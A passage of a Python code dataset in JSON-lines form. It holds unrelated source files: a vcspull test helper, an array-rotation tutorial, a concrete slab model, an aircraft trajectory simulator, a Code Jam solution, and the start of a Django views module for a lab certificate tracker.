0\n\n if j['draw_change'] == 'up':\n j['draw_change'] = 1\n elif j['draw_change'] == 'down':\n j['draw_change'] = 2\n else:\n j['draw_change'] = 0\n\n if j['lose_change'] == 'up':\n j['lose_change'] = 1\n elif j['lose_change'] == 'down':\n j['lose_change'] = 2\n else:\n j['lose_change'] = 0\n item['real_win']=j['win']\n item['real_draw']=j['draw']\n item['real_lose']=j['lose']\n item['time_minus']=j['time_minus']\n item['win_ratio']=j['win_ratio']\n item['draw_ratio']= j['draw_ratio']\n item['lose_ratio']=j['lose_ratio']\n item['per'] = j['per']\n item['win_index']=j['win_index']\n item['draw_index']=j['draw_index']\n item['lose_index']=j['lose_index']\n item['com_name']=j['cn']\n item['order_num']=j['order']\n item['init_win']=j['win_s']\n item['init_draw']=j['draw_s']\n item['init_lose']=j['lose_s']\n item['win_change']=j['win_change']\n item['draw_change']=j['draw_change']\n item['lose_change']=j['lose_change']\n item['europe_id'] = j['id']\n\n yield item\n","sub_path":"t_spider/dl_europe/oupan/spiders/ou.py","file_name":"ou.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"526094690","text":"# -*- coding: utf-8 -*-\n\"\"\"Tests for vcspull.\n\nvcspull.testsuite.helpers\n~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\"\"\"\nfrom __future__ import (\n absolute_import, division, print_function, with_statement, unicode_literals\n)\n\nimport os\nimport sys\nimport copy\nimport logging\nimport tempfile\nimport shutil\nimport uuid\nimport re\n\nimport kaptan\n\nfrom . import unittest\nfrom ..repo import Repo\nfrom ..util import run, expand_config\nfrom .._compat import string_types\n\nlogger = logging.getLogger(__name__)\n\nif sys.version_info <= (2, 7,):\n import unittest2 as unittest\n\n\nclass ConfigTestMixin(unittest.TestCase):\n\n \"\"\"Contains the fresh config dict/yaml's to test against.\n\n This is because running ConfigExpand on config_dict would alter\n it in later test cases. these configs are used throughout the tests.\n\n \"\"\"\n\n def _removeConfigDirectory(self):\n \"\"\"Remove TMP_DIR.\"\"\"\n if os.path.isdir(self.TMP_DIR):\n shutil.rmtree(self.TMP_DIR)\n logger.debug('wiped %s' % self.TMP_DIR)\n\n\n def _createConfigDirectory(self):\n \"\"\"Create TMP_DIR for TestCase.\"\"\"\n self.TMP_DIR = tempfile.mkdtemp(suffix='vcspull')\n\n def _seedConfigExampleMixin(self):\n\n config_yaml = \"\"\"\n {TMP_DIR}/study/:\n linux: git+git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git\n freebsd: git+https://github.com/freebsd/freebsd.git\n sphinx: hg+https://bitbucket.org/birkenfeld/sphinx\n docutils: svn+http://svn.code.sf.net/p/docutils/code/trunk\n {TMP_DIR}/github_projects/:\n kaptan:\n repo: git+git@github.com:tony/kaptan.git\n remotes:\n upstream: git+https://github.com/emre/kaptan\n marksteve: git+https://github.com/marksteve/kaptan.git\n {TMP_DIR}:\n .vim:\n repo: git+git@github.com:tony/vim-config.git\n shell_command_after: ln -sf /home/tony/.vim/.vimrc /home/tony/.vimrc\n .tmux:\n repo: git+git@github.com:tony/tmux-config.git\n shell_command_after:\n - ln -sf /home/tony/.tmux/.tmux.conf /home/tony/.tmux.conf\n \"\"\"\n\n config_dict = {\n '{TMP_DIR}/study/'.format(TMP_DIR=self.TMP_DIR): {\n 'linux': 'git+git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git',\n 'freebsd': 'git+https://github.com/freebsd/freebsd.git',\n 'sphinx': 'hg+https://bitbucket.org/birkenfeld/sphinx',\n 'docutils': 'svn+http://svn.code.sf.net/p/docutils/code/trunk',\n },\n '{TMP_DIR}/github_projects/'.format(TMP_DIR=self.TMP_DIR): {\n 'kaptan': {\n 'repo': 'git+git@github.com:tony/kaptan.git',\n 'remotes': {\n 'upstream': 'git+https://github.com/emre/kaptan',\n 'marksteve': 'git+https://github.com/marksteve/kaptan.git'\n }\n }\n },\n '{TMP_DIR}'.format(TMP_DIR=self.TMP_DIR): {\n '.vim': {\n 'repo': 'git+git@github.com:tony/vim-config.git',\n 'shell_command_after': 'ln -sf /home/tony/.vim/.vimrc /home/tony/.vimrc'\n },\n '.tmux': {\n 'repo': 'git+git@github.com:tony/tmux-config.git',\n 'shell_command_after': ['ln -sf /home/tony/.tmux/.tmux.conf /home/tony/.tmux.conf']\n }\n }\n }\n\n config_yaml = config_yaml.format(TMP_DIR=self.TMP_DIR)\n\n config_dict_expanded = {\n '{TMP_DIR}/study/'.format(TMP_DIR=self.TMP_DIR): {\n 'linux': {'repo': 'git+git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git', },\n 'freebsd': {'repo': 'git+https://github.com/freebsd/freebsd.git', },\n 'sphinx': {'repo': 'hg+https://bitbucket.org/birkenfeld/sphinx', },\n 'docutils': {'repo': 'svn+http://svn.code.sf.net/p/docutils/code/trunk', },\n },\n '{TMP_DIR}/github_projects/'.format(TMP_DIR=self.TMP_DIR): {\n 'kaptan': {\n 'repo': 'git+git@github.com:tony/kaptan.git',\n 'remotes': {\n 'upstream': 'git+https://github.com/emre/kaptan',\n 'marksteve': 'git+https://github.com/marksteve/kaptan.git'\n }\n }\n },\n '{TMP_DIR}'.format(TMP_DIR=self.TMP_DIR): {\n '.vim': {\n 'repo': 'git+git@github.com:tony/vim-config.git',\n 'shell_command_after': ['ln -sf /home/tony/.vim/.vimrc /home/tony/.vimrc']\n },\n '.tmux': {\n 'repo': 'git+git@github.com:tony/tmux-config.git',\n 'shell_command_after': ['ln -sf /home/tony/.tmux/.tmux.conf /home/tony/.tmux.conf']\n }\n }\n }\n\n self.config_dict = config_dict\n\n cdict = copy.deepcopy(config_dict)\n self.assertDictEqual(\n expand_config(cdict), config_dict_expanded,\n \"The sample config_dict must match the expanded version\"\n \"config_dict_expanded.\"\n )\n\n self.config_dict_expanded = config_dict_expanded\n self.config_yaml = config_yaml\n\n\nclass ConfigTestCase(ConfigTestMixin, unittest.TestCase):\n def tearDown(self):\n self._removeConfigDirectory()\n\n def setUp(self):\n self._createConfigDirectory()\n self._seedConfigExampleMixin()\n\nclass RepoTestMixin(object):\n\n \"\"\"Mixin for create Repo's for test repository.\"\"\"\n\n def create_svn_repo(self, repo_name='my_svn_project', create_repo=False):\n \"\"\"Create an svn repository for tests. Return SVN repo directory.\n\n :param repo_name:\n :type repo_name:\n :param create_repo: If true, create repository\n :type create_repo: bool\n :returns: directory of svn repository\n :rtype: string\n\n \"\"\"\n\n repo_path = os.path.join(self.TMP_DIR, 'svnrepo_{0}'.format(uuid.uuid4()))\n\n svn_repo = Repo(**{\n 'url': 'svn+file://' + os.path.join(repo_path, repo_name),\n 'cwd': self.TMP_DIR,\n 'name': repo_name\n })\n\n if create_repo:\n os.mkdir(repo_path)\n run([\n 'svnadmin', 'create', svn_repo['name']\n ], cwd=repo_path)\n self.assertTrue(os.path.exists(repo_path))\n\n svn_repo.obtain()\n\n return os.path.join(repo_path, repo_name), svn_repo\n\n def create_git_repo(self, repo_name='test git repo', create_repo=False):\n \"\"\"Create an git repository for tests. Return directory.\n\n :param repo_name:\n :type repo_name:\n :param create_repo: If true, create repository\n :type create_repo: bool\n :returns: directory of svn repository\n :rtype: string\n\n \"\"\"\n\n repo_path = os.path.join(self.TMP_DIR, 'gitrepo_{0}'.format(uuid.uuid4()))\n\n git_repo = Repo(**{\n 'url': 'git+file://' + os.path.join(repo_path, repo_name),\n 'cwd': self.TMP_DIR,\n 'name': repo_name\n })\n\n if create_repo:\n os.mkdir(repo_path)\n run([\n 'git', 'init', git_repo['name']\n ], cwd=repo_path)\n self.assertTrue(os.path.exists(repo_path))\n\n git_repo.obtain(quiet=True)\n\n testfile_filename = 'testfile.test'\n\n run([\n 'touch', testfile_filename\n ], cwd=os.path.join(repo_path, repo_name))\n run([\n 'git', 'add', testfile_filename\n ], cwd=os.path.join(repo_path, repo_name))\n run([\n 'git', 'commit', '-m', 'a test file for %s' % git_repo['name']\n ], cwd=os.path.join(repo_path, repo_name))\n git_repo.update_repo()\n\n return os.path.join(repo_path, repo_name), git_repo\n\n def create_mercurial_repo(self, repo_name='test hg repo', create_repo=False):\n \"\"\"Create an hg repository for tests. Return directory.\n\n :param repo_name:\n :type repo_name:\n :param create_repo: If true, create repository\n :type create_repo: bool\n :returns: directory of hg repository\n :rtype: string\n\n \"\"\"\n\n repo_path = os.path.join(self.TMP_DIR, 'hgrepo_{0}'.format(uuid.uuid4()))\n\n mercurial_repo = Repo(**{\n 'url': 'hg+file://' + os.path.join(repo_path, repo_name),\n 'cwd': self.TMP_DIR,\n 'name': repo_name\n })\n\n if create_repo:\n os.mkdir(repo_path)\n run([\n 'hg', 'init', mercurial_repo['name']], cwd=repo_path\n )\n\n mercurial_repo.obtain()\n\n testfile_filename = 'testfile.test'\n\n run([\n 'touch', testfile_filename\n ], cwd=os.path.join(repo_path, repo_name))\n run([\n 'hg', 'add', testfile_filename\n ], cwd=os.path.join(repo_path, repo_name))\n run([\n 'hg', 'commit', '-m', 'a test file for %s' % mercurial_repo['name']\n ], cwd=os.path.join(repo_path, repo_name))\n\n return os.path.join(repo_path, repo_name), mercurial_repo\n\n\n\nclass RepoIntegrationTest(RepoTestMixin, ConfigTestCase, unittest.TestCase):\n\n \"\"\"TestCase base that prepares custom repos, configs.\n\n :var git_repo_path: git repo\n :var svn_repo_path: svn repo\n :var hg_repo_path: hg repo\n :var TMP_DIR: temporary directory for testcase\n :var CONFIG_DIR: the ``.vcspull`` dir inside of ``TMP_DIR``.\n\n Create a local svn, git and hg repo. Create YAML config file with paths.\n\n \"\"\"\n\n def setUp(self):\n\n ConfigTestCase.setUp(self)\n\n self.git_repo_path, self.git_repo = self.create_git_repo()\n self.hg_repo_path, self.hg_repo = self.create_mercurial_repo()\n self.svn_repo_path, self.svn_repo = self.create_svn_repo()\n\n self.CONFIG_DIR = os.path.join(self.TMP_DIR, '.vcspull')\n\n os.makedirs(self.CONFIG_DIR)\n self.assertTrue(os.path.exists(self.CONFIG_DIR))\n\n config_yaml = \"\"\"\n {TMP_DIR}/samedir/:\n docutils: svn+file://{svn_repo_path}\n {TMP_DIR}/github_projects/deeper/:\n kaptan:\n repo: git+file://{git_repo_path}\n remotes:\n test_remote: git+file://{git_repo_path}\n {TMP_DIR}:\n samereponame: git+file://{git_repo_path}\n .tmux:\n repo: git+file://{git_repo_path}\n \"\"\"\n\n config_json = \"\"\"\n {\n \"${TMP_DIR}/samedir/\": {\n \"sphinx\": \"hg+file://${hg_repo_path}\",\n \"linux\": \"git+file://${git_repo_path}\"\n },\n \"${TMP_DIR}/another_directory/\": {\n \"anotherkaptan\": {\n \"repo\": \"git+file://${git_repo_path}\",\n \"remotes\": {\n \"test_remote\": \"git+file://${git_repo_path}\"\n }\n }\n },\n \"${TMP_DIR}\": {\n \"samereponame\": \"git+file://${git_repo_path}\",\n \".vim\": {\n \"repo\": \"git+file://${git_repo_path}\"\n }\n },\n \"${TMP_DIR}/srv/www/\": {\n \"test\": {\n \"repo\": \"git+file://${git_repo_path}\"\n }\n }\n }\n \"\"\"\n\n config_yaml = config_yaml.format(\n svn_repo_path=self.svn_repo_path,\n hg_repo_path=self.hg_repo_path,\n git_repo_path=self.git_repo_path,\n TMP_DIR=self.TMP_DIR\n )\n\n from string import Template\n config_json = Template(config_json).substitute(\n svn_repo_path=self.svn_repo_path,\n hg_repo_path=self.hg_repo_path,\n git_repo_path=self.git_repo_path,\n TMP_DIR=self.TMP_DIR\n )\n\n self.config_yaml = copy.deepcopy(config_yaml)\n self.config_json = copy.deepcopy(config_json)\n\n conf = kaptan.Kaptan(handler='yaml')\n conf.import_config(self.config_yaml)\n self.config1 = conf.export('dict')\n\n self.config1_name = 'repos1.yaml'\n self.config1_file = os.path.join(self.CONFIG_DIR, self.config1_name)\n\n with open(self.config1_file, 'w') as buf:\n buf.write(self.config_yaml)\n\n conf = kaptan.Kaptan(handler='json')\n conf.import_config(self.config_json)\n self.config2 = conf.export('dict')\n\n self.assertTrue(os.path.exists(self.config1_file))\n\n self.config2_name = 'repos2.json'\n self.config2_file = os.path.join(self.CONFIG_DIR, self.config2_name)\n\n with open(self.config2_file, 'w') as buf:\n buf.write(self.config_json)\n\n self.assertTrue(os.path.exists(self.config2_file))\n","sub_path":"vcspull/testsuite/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":12935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"83549707","text":"import sys\n\ndef main(f,o):\n\tf.readline()\n\tfor i,l in enumerate(f):\n\t\tl = l\n\t\to.write('Case #%d: %s'%(i+1,rec_fun(l)))\n\ndef rec_fun(w):\n\tif not w: return ''\n\tletter = ''\n\tpos = 0\n\tfor i,l in enumerate(w):\n\t\tif l >= letter:\n\t\t\tletter = l\n\t\t\tpos = i\n\treturn letter+rec_fun(w[:pos])+str(w[pos+1:])\n# \tprint('lol')\n\nwith open('input.file') as f, open('output','w') as o:\n\tmain(f,o)\n","sub_path":"solutions_5631989306621952_0/Python/plopik/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"558240484","text":"#In this problem we have to state the count of rotations a sorted array has gone through.\n# For Ex:\n# 4 5 6 1 2 3 4 \n# The above array has gone through 3 rotations\n# This can be solved in Linera as well as in logarithmic time. \n# We can see here the array has been rotated 3 times, which is also the index of smallest element in the array.\n# So, we need to find the point of inflection where we find a point such that a[i]>a[i+1].\n# So, finding the minimum element in the rotated sorted array has been explained in our previous post - Find the minimum element in rotated sorted array.\n\n# 1st ways to solve the same with using concepts of Linear Search \n\nn=int(input(\"Enter the length of the array:\\n\"))\narr=[]\n\n#taking input\nfor i in range(0,n):\n print(\"Element\",i+1)\n ele = int(input())\n arr.append(ele)\n\nc=0\nmini=1000000\n\n#This loop will find out the index of the minimum element\nfor ele in arr:\n if ele low and arr[mid] < arr[mid - 1]): \n return mid \n# Decide whether we need to go to left half or right half \n if (arr[high] > arr[mid]): \n return countRotations(arr, low, mid-1); \n return countRotations(arr, mid+1, high) \n# Driver code \nn=int(input(\"Enter the length of the array:\\n\"))\narr=[]\nfor i in range(0,n):\n print(\"Element\",i+1)\n ele = int(input())\n arr.append(ele)\n num = len(arr) \nprint(\"Numbers of Rotations are:\",countRotations(arr, 0, num-1))\n\n# TEST CASES\n#\n# 1)INPUT:\n# Enter the length of the array:\n# 5\n# Element 1\n# 10\n# Element 2\n# 20\n# Element 3\n# 30\n# Element 4\n# 1\n# Element 5\n# 2\n# OUTPUT:\n# Numbers of Rotations are: 3\n# \n# 2)INPUT:\n# Enter the length of the array:\n# 5\n# Element 1\n# 12\n# Element 2\n# 25\n# Element 3\n# 34\n# Element 4\n# 56\n# Element 5\n# 78\n# \n# OUTPUT:\n# Number of rotataions = 0\n#\n# Time Complexity: O(log n)\n# Space Complexity: O(1) Here no extra space needed\n\n","sub_path":"Code/Python/Count_of_rotations.py","file_name":"Count_of_rotations.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"107939768","text":"import math\n\nimport shape\nimport section\n\nclass BarLayer:\n \"\"\"Describes how a layer of bars is arranged in a slab\"\"\"\n\n def __init__(self,sizes,spacing):\n self.sizes = sizes\n self.spacing = spacing\n\n assert len(self.sizes) > 0\n\n self.max_size = max(self.sizes)\n self.width = self.spacing * len(sizes)\n\n def create_bars(self,steel,width,depth):\n count = math.floor(width/self.width)\n\n result = []\n for i in range(0,count):\n for size in self.sizes:\n result.append(section.Bar(steel,size,depth))\n\n return result\n\nclass Slab:\n \"\"\"A slab of concrete\"\"\"\n\n def __init__(self,concrete,steel,thickness):\n self.concrete = concrete\n self.steel = steel\n self.thickness = thickness\n\n #set these\n self.cover_top = 0\n self.cover_bot = 0\n self.aggregate_size = 0\n self.inner_layer = \"Y\"\n\n self.layers_x_top = []\n self.layers_x_bot = []\n\n self.layers_y_top = []\n self.layers_y_bot = []\n\n self.concrete_factor = 1\n self.steel_factor = 1\n\n #to be updated\n self.width_x = 1000\n self.width_y = 1000\n\n self.depths_x_top = []\n self.depths_y_top = []\n self.depths_x_bot = []\n self.depths_y_bot = []\n\n self.section_x = None\n self.section_y = None\n\n def update_widths(self):\n bar_width_x = 1\n for layer in self.layers_x_top:\n bar_width_x = max(bar_width_x,layer.width)\n for layer in self.layers_x_bot:\n bar_width_x = max(bar_width_x,layer.width)\n\n bar_width_y = 1\n for layer in self.layers_y_top:\n bar_width_y = max(bar_width_y,layer.width)\n for layer in self.layers_y_bot:\n bar_width_y = max(bar_width_y,layer.width)\n\n self.width_x = bar_width_x * math.ceil(1000 / bar_width_x)\n self.width_y = bar_width_y * math.ceil(1000 / bar_width_y)\n\n def update_depths(self):\n self.depths_x_top = []\n self.depths_x_bot = []\n self.depths_y_top = []\n self.depths_y_bot = []\n\n def update_depths_impl(layers,depths,cover,is_bottom):\n current_cover = cover\n\n #iterate through the layers in alternating directions to update the depths\n for i in range(0,max(len(layers[0]),len(layers[1]))):\n if i < len(layers[0]):\n if is_bottom:\n depths[0].append(self.thickness - (current_cover + layers[0][i].max_size / 2))\n else:\n depths[0].append(current_cover + layers[0][i].max_size / 2)\n current_cover += layers[0][i].max_size\n elif i > 1:\n max_size = max(layers[1][i-1].max_size,layers[1][i].max_size)\n\n #add spacing Clause 7.4 -> A23.1 Clause 6.6.5\n current_cover += max(\n 1.4*max_size,\n 1.4*self.aggregate_size,\n 30)\n\n if i < len(layers[1]):\n if is_bottom:\n depths[1].append(self.thickness - (current_cover + layers[1][i].max_size / 2))\n else:\n depths[1].append(current_cover + layers[1][i].max_size / 2)\n current_cover += layers[1][i].max_size\n elif i+1 < len(layers[0]):\n max_size = max(layers[0][i].max_size,layers[0][i+1].max_size)\n\n #add spacing Clause 7.4 -> A23.1 Clause 6.6.5\n current_cover += max(\n 1.4*max_size,\n 1.4*self.aggregate_size,\n 30)\n\n if self.inner_layer == \"Y\":\n update_depths_impl(\n [self.layers_x_top,self.layers_y_top],\n [self.depths_x_top,self.depths_y_top],\n self.cover_top,False)\n update_depths_impl(\n [self.layers_x_bot,self.layers_y_bot],\n [self.depths_x_bot,self.depths_y_bot],\n self.cover_bot,True)\n else:\n update_depths_impl(\n [self.layers_y_top,self.layers_x_top],\n [self.depths_y_top,self.depths_x_top],\n self.cover_top,False)\n update_depths_impl(\n [self.layers_y_bot,self.layers_x_bot],\n [self.depths_y_bot,self.depths_x_bot],\n self.cover_bot,True)\n\n def update_sections(self):\n self.update_widths()\n self.update_depths()\n\n bars_x = []\n for i in range(0,len(self.layers_x_top)):\n bars_x.extend(self.layers_x_top[i].create_bars(self.steel,self.width_x,self.depths_x_top[i]))\n for i in range(0,len(self.layers_x_bot)):\n bars_x.extend(self.layers_x_bot[i].create_bars(self.steel,self.width_x,self.depths_x_bot[i]))\n\n bars_y = []\n for i in range(0,len(self.layers_y_top)):\n bars_y.extend(self.layers_y_top[i].create_bars(self.steel,self.width_y,self.depths_y_top[i]))\n for i in range(0,len(self.layers_y_bot)):\n bars_y.extend(self.layers_y_bot[i].create_bars(self.steel,self.width_y,self.depths_y_bot[i]))\n\n self.section_x = section.Section(self.concrete,shape.Rectangle(self.width_x,self.thickness),bars_x)\n self.section_x.concrete_factor = self.concrete_factor\n self.section_x.steel_factor = self.steel_factor\n\n self.section_y = section.Section(self.concrete,shape.Rectangle(self.width_y,self.thickness),bars_y)\n self.section_y.concrete_factor = self.concrete_factor\n self.section_y.steel_factor = self.steel_factor\n","sub_path":"GSA/pysection-master/slab.py","file_name":"slab.py","file_ext":"py","file_size_in_byte":5739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"595725201","text":"#-*- coding: utf-8 -*-\n__author__ = 'zhy'\n#######################################################\n##飞机轨迹生成文件,包括直线,转弯,爬升,俯冲,飞机种类包括侦察机,预警机,歼击机\n############\nimport numpy as np\nimport math\nimport random\nfrom matplotlib import pyplot as plt\nclass datac(object):\n def __init__(self):\n pass\n def __init__(self, action, com, p0, num):\n self.action = action #动作序列\n self.zp0 = p0 #初始数据\n self.com = com #飞机的种类\n self.Q = [] #用来保存生成的数据\n\n #侦察机\n self.va1 = [190, 20, 35] #飞机最大速度,最大加速度,最大爬升率参数\n #歼击机\n self.va2 = [810, 40, 100]\n #预警机\n self.va3 = [180, 20, 35]\n self.num = num #飞机数量\n\n #加速度生成函数\n def creata(self, t, amax, aa): #aa是加加速度,设为常数\n if t <= (2*math.sqrt(amax/aa)):\n a = amax-aa*math.pow((t-math.sqrt(amax/aa)), 2)\n else:\n a = 0\n return a\n #爬升俯冲时间生成函数,爬升时当前高度越高,则将要爬升的高度越小即时间越短,反之,时间越长。俯冲可类比之\n def creatT(self, z, Fz):\n t = 0\n if Fz < 0: #判断是俯冲\n if z <= 10000:\n t = 20 * math.exp((z - 10000) / 3000)\n else:\n t = 20 * (2-math.exp((10000-z) / 3000))\n elif Fz > 0: #判断是爬升\n if z <=10000:\n t = 20 * (2-math.exp((z - 10000) / 3000))\n else:\n t = 20 * math.exp((10000-z) / 3000)\n #时间较小则忽略不计,即当前高度不允许爬升或俯冲\n if t >= 1:\n return t\n else:\n return 0\n #直线动作函数\n def trackline(self, p0, t, F, amax, aa, vmax):\n p1 = p0\n for i in range(int(t*100)): #每0.01秒产生一个数据\n data = [0, 0, 0, 0, 0, 0, 0, 0]\n for j in range(len(p1)):\n data[j]=p1[j]\n p1[0] = p1[5] * 1/100 * (math.sin(p1[3])) + p1[0] #X坐标\n p1[1] = p1[5] * 1/100 * (math.cos(p1[3])) + p1[1] #Y坐标\n p1[5] = p1[5] + 1/ 100 * p1[6] #速度\n p1[4] = 0 #俯仰角\n p1[7] = 0 #法向加速度\n if (F > 0)&(p1[5] <= vmax): #加速不超过最大速度\n p1[6] = self.creata(1/100*i, amax, aa) #切向加速度\n elif (F < 0)&(p1[5] > 70): #减速\n p1[6] = 0 - self.creata(1/ 100 * i, amax, aa)\n else: #匀速\n p1[6] = 0\n self.Q.append(data)\n return 0\n\n def trackturn(self, p0, t, a):\n p1 = p0\n # F = random.randint(-1, 2)\n for i in range(int(t * 100)):\n data = [0, 0, 0, 0, 0, 0, 0,0]\n for j in range(len(p1)):\n data[j] = p1[j]\n p1[0] = p1[5] * 1/100 * (math.sin(p1[3])) + p1[0]\n p1[1] = p1[5] * 1/100 * (math.cos(p1[3])) + p1[1]\n p1[3] = (p1[3] + 1/100 * a/p1[5]) #a 法向加速度\n\n # 航向角在0-2π内\n if p1[3] >= 2*math.pi:\n p1[3] = p1[3]-2*math.pi\n if p1[3] < 0:\n p1[3] = p1[3]+2*math.pi\n p1[5] = p1[5] + 1/ 100 * p1[6] # 切向加速度\n # if (F>0)&(p1[5]<=vmax): #加速\n # p1[6] = self.creata(1/100*i,amax,aa)\n # elif (F<0)&(p1[5]>70): #减速\n # p1[6] =0 - self.creata(1/ 100 * i, amax, aa)\n # else: #匀速\n # p1[6]=0\n p1[7] = a\n self.Q.append(data)\n return 0\n #爬升俯冲动作函数\n def trackdive(self, p0, t, a1, a2, t1, VZmax):\n t11 = 0\n p1 = p0\n for i in range(int(t * 100)):\n data = [0, 0, 0, 0, 0, 0, 0,0]\n for j in range(len(p1)):\n data[j] = p1[j]\n p1[0] = p1[5] * 1/100 * math.sin(p1[3])*math.cos(p1[4]) + p1[0]\n p1[1] = p1[5] * 1/100 * math.cos(p1[3])*math.cos(p1[4]) + p1[1]\n p1[2] = p1[5] * 1/100 * math.sin(p1[4]) + p1[2]\n p1[6] = 0 #切向加速度\n p1[5] = p1[5] + 1/100*p1[6]\n if (i/100 < t1)&(p1[5]*math.sin(p1[4]) < VZmax): #第一段动作俯仰角变化\n p1[7] = a1\n p1[4] = p1[4] + 1/ 100 * p1[7]/ p1[5]\n t11 = i/100\n elif i/100 >= (t-t11)-2/100: #第三段动作俯仰角回变\n p1[7] = a2\n p1[4] = p1[4] + 1 / 100 * a2 / p1[5]\n else: #中间动作以一定角度直线下降\n p1[7] = 0\n self.Q.append(data)\n return 0\n\n #轨迹生成函数\n def trackall(self):\n if self.com == \"侦察机\": #判断机型得到对应参数\n aa = 3\n amax = self.va1[1]\n vmax = self.va1[0]\n VZmax = self.va1[2]\n for i in range(len(self.action)):\n if self.action[i] == \"直线\":\n t = random.random()*10+5 #生成运动时间\n F = random.randint(-1, 2) #生成状态(加速,减速,匀速)\n self.trackline(self.p0, t, F, amax, aa, vmax)\n if self.action[i] == \"转弯\":\n t = random.random()*10+10\n a= random.uniform(10, 20)*random.randrange(-1, 2, 2) #生成切向加速度\n self.trackturn(self.p0, t, a)\n if self.action[i] == '俯冲':\n t = self.creatT(self.p0[2], -1) #生成运动时间\n t1 = random.uniform(t / 4, t / 2) #生成第一段动作运动时间\n #t2=t-t1\n a1 = 0-random.uniform(5, 10)\n a2 = 0-a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n if self.action[i] == '爬升':\n t = self.creatT(self.p0[2], 1) #生成运动时间\n t1 = random.uniform(t / 4, t / 2) #生成第一段动作运动时间\n a1 = random.uniform(5,10)\n a2 = 0 - a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n\n if self.com == \"歼击机\":\n aa = 3\n amax = self.va2[1]\n vmax = self.va2[0]\n VZmax = self.va2[2]\n for i in range(len(self.action)):\n if self.action[i]==\"直线\":\n t=random.random()*10+5\n F=random.randint(-1,2)\n self.trackline(self.p0, t,F,amax, aa,vmax)\n if self.action[i] == \"转弯\":\n t = random.random() * 10+5\n a= random.uniform(10,20)*random.randrange(-1,2,2)\n self.trackturn(self.p0, t, a)\n if self.action[i] == '俯冲':\n t = self.creatT(self.p0[2], -1)\n t1 = random.uniform(t / 4, t / 2)\n t2=t-t1\n a1 = 0-random.uniform(5,10)\n a2=0-a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n if self.action[i] == '爬升':\n t = self.creatT(self.p0[2], 1)\n t1 = random.uniform(t / 4, t / 2)\n a1 = random.uniform(5,10)\n a2 = 0 - a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n\n if self.com == \"预警机\":\n aa = 3\n amax = self.va3[1]\n vmax = self.va3[0]\n VZmax = self.va3[2]\n for i in range(len(self.action)):\n if self.action[i] == \"直线\":\n t = random.random()*10+5\n F = random.randint(-1, 2)\n self.trackline(self.p0, t, F, amax, aa, vmax)\n if self.action[i] == \"转弯\":\n t = random.random() * 10+5\n a = random.uniform(10, 20)*random.randrange(-1, 2, 2)\n self.trackturn(self.p0, t, a)\n if self.action[i] == '俯冲':\n t = self.creatT(self.p0[2], -1)\n t1 = random.uniform(t/4, t/2)\n a1 = 0-random.uniform(5, 10)\n a2 = 0-a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n if self.action[i] == '爬升':\n t = self.creatT(self.p0[2], 1)\n t1 = random.uniform(t / 4, t / 2)\n a1 = random.uniform(5, 10)\n a2 = 0 - a1\n self.trackdive(self.p0, t, a1, a2, t1, VZmax)\n\n return 0\n\n\n","sub_path":"src/Plane.py","file_name":"Plane.py","file_ext":"py","file_size_in_byte":9015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"586837200","text":"import os\n\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.cache import cache_control, never_cache\nfrom django.shortcuts import render, redirect\nfrom django.views.static import serve\nfrom django.template.loader import get_template\nfrom django.template import Context\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.db.models import Q\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.core.validators import validate_email\nfrom django.views import View\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.http import require_http_methods, require_GET, require_POST\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import SuspiciousOperation\n\n\nfrom io import BytesIO\n# from cgi import escape\nfrom html import escape # >= python 3.8\nfrom xhtml2pdf import pisa\nfrom datetime import datetime\n\nfrom .accesses import *\nfrom .forms import *\nfrom .utils import Api\nfrom . import api\nfrom lfs_lab_cert_tracker.models import UserInactive, Lab, Cert, UserLab, UserCert\n\n\n# Set 50 users in a page\nNUM_PER_PAGE = 50\n\nuApi = Api()\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@require_http_methods(['GET'])\ndef index(request):\n full_name = request.META[settings.SHIB_ATTR_MAP['full_name']] if settings.SHIB_ATTR_MAP['full_name'] in request.META else None\n last_name = request.META[settings.SHIB_ATTR_MAP['last_name']] if settings.SHIB_ATTR_MAP['last_name'] in request.META else None\n email = request.META[settings.SHIB_ATTR_MAP['email']] if settings.SHIB_ATTR_MAP['email'] in request.META else None\n username = request.META[settings.SHIB_ATTR_MAP['username']] if settings.SHIB_ATTR_MAP['username'] in request.META else None\n\n if not username:\n raise SuspiciousOperation\n\n first_name = None\n if full_name:\n first_name = full_name.split(last_name)[0].strip()\n\n # Update user information if it's None\n update_fields = []\n if not request.user.first_name and first_name:\n request.user.first_name = first_name\n update_fields.append('first_name')\n \n if not request.user.last_name and last_name:\n request.user.last_name = last_name\n update_fields.append('last_name')\n \n if not request.user.email and email:\n request.user.email = email\n update_fields.append('email')\n \n if len(update_fields) > 0:\n request.user.save(update_fields=update_fields)\n\n return HttpResponseRedirect(reverse('app:user_details', args=[request.user.id]))\n\n\n# Users - 